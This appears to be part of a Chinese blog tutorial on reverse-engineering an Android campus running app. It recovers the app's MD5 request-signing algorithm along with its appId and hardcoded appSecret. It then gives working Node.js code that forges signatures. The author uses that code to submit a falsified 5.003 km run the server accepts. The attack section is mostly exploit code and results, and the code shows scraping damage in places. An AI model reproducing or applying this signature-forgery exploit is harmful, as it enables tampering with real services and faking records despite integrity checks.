APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加( 二 )


之后再将全部的键值对根据键的字母顺序进行排序, 之后使用 querystring 方式对键值对进行编码.
最后再对编码后的字符串求 MD5 值, 就是最终的签名了, 麻烦的一比
继续逆向apk文件获取未知键值对我们继续来找appID,appSecret两个我们未知的键值对
发现其获取方法如下

APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加

文章插图
 
①appID键值对的获取方法:
如果请求的url是 https://m.xxxxx.com 则为move,否则调用getAppId方法
后面我搜索了一下getAppId方法,发现其本质上是获取某接口openId的参数值,随后赋值给AppID
我去burpsuite走了一遍这个apk的业务,然后去http history搜索了一下openId,直接获取到了我们学校的openId参数值,也就是说我们获取到了AppID
APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加

文章插图
 
②appSceret键值对获取方法
在jadx中提示appSecre键t对应的值来源于g.b,我们在import的包中成功找到了g.b(即appSecret)
APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加

文章插图
 
Nodejs编写计算sign的Exploitsign的算法已经有了,未知的键值对我们也拿到了,下面就是直接编写计算sign的exploit的时刻啦~
我们选择用nodejs来还原整个sign的加密算法(注意,我们将formatSportRange跑步距离改为了5.003)
var parseQueryString = function( url ){var reg_url =/^[^?]+?([wW]+)$/,reg_para=/([^&=]+)=([wW]*?)(&|$)/g, //g is very importantarr_url = reg_url.exec( url ),ret= {};if( arr_url && arr_url[1] ){var str_para = arr_url[1],result;while((result = reg_para.exec(str_para)) != null){ret[result[1]] = result[2];}}return ret;}var url ="www.xxx.com/index.php?userId=34263&runType=2&startTime=1635573372448&endTime=1635573425940&gitudeLatitude=%5B%7B%22latitude%22%3A34.383468%2C%22locationType%22%3A4%2C%22longitude%22%3A108.976148%2C%22puase%22%3Afalse%2C%22speed%22%3A0.0%2C%22time%22%3A1635573372480%7D%2C%7B%22latitude%22%3A34.383484%2C%22locationType%22%3A4%2C%22longitude%22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A0.0%2C%22time%22%3A1635573373314%7D%2C%7B%22latitude%22%3A34.383489%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573378344%7D%2C%7B%22latitude%22%3A34.383408%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976193%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573398400%7D%2C%7B%22latitude%22%3A34.383479%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976152%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573418403%7D%5D&identify=12cc1557-f226-4d19-a01f-58f492620818&formatSportTime=00%3A00%3A01&formatSportRange=5.003&avgspeed=0.0&speed=0%270%22&okPointList=%5B%5D&brand=Xiaomi&model=Mi%2010&system=Android&version=10&appVersion=1.5.73&stepNumbers=%5B0%5D&isFaceStatus=0&points=%5B%5D&uploadType=0×tamp=1635573451940";var obj = parseQueryString(url);//console.log(obj)//querystring序列化const crypto = require('crypto')const APP_ID = "ec74df4f7ea14f1fa585bbc9f936fc23"const data = https://www.isolves.com/it/aq/yd/2021-11-10/objconsole.log(data)const timestamp = '1635573451940'function ff(data, timestamp, appId = APP_ID){const d = { ...data, appId, timestamp: '1634356066432',appSecret: 'e8167ef026cbc5e456ab837d9d6d9254' }const ans = crypto.createHash('md5').update(Object.keys(d).sort().map(k => k + '=' + d[k]).join('&')).digest('hex')console.log("sign is",ans)}ff(data, timestamp, APP_ID)```
APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加

文章插图
 
大功告成,我们成功序列化queryString后计算出了sign值,我们现在可以篡改任意数据并根据算法生成伪造的sign值
测试我们将原来的formatSportRange跑步距离改为了从0.000修改为5.003,并使用程序生成的sign值
APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加

文章插图
【APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加】 
如图,大功告成,跑步记录保存成功,我们成功使用伪造的sign签名增加了一条5.003 km的跑步记录
返回app查看~
APP渗透技巧 | 逆向app破解数据包sign值,实现任意数据重放添加

文章插图
 
后言遇到可能的漏洞点莫要轻言放弃,再坚持一下,曙光就在前方~
免责声明:
本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护 。禁止任何人转载到其他站点,禁止用于任何非法用途 。如有任何人凭此做何非法事情,均于笔者无关,特此声明 。


推荐阅读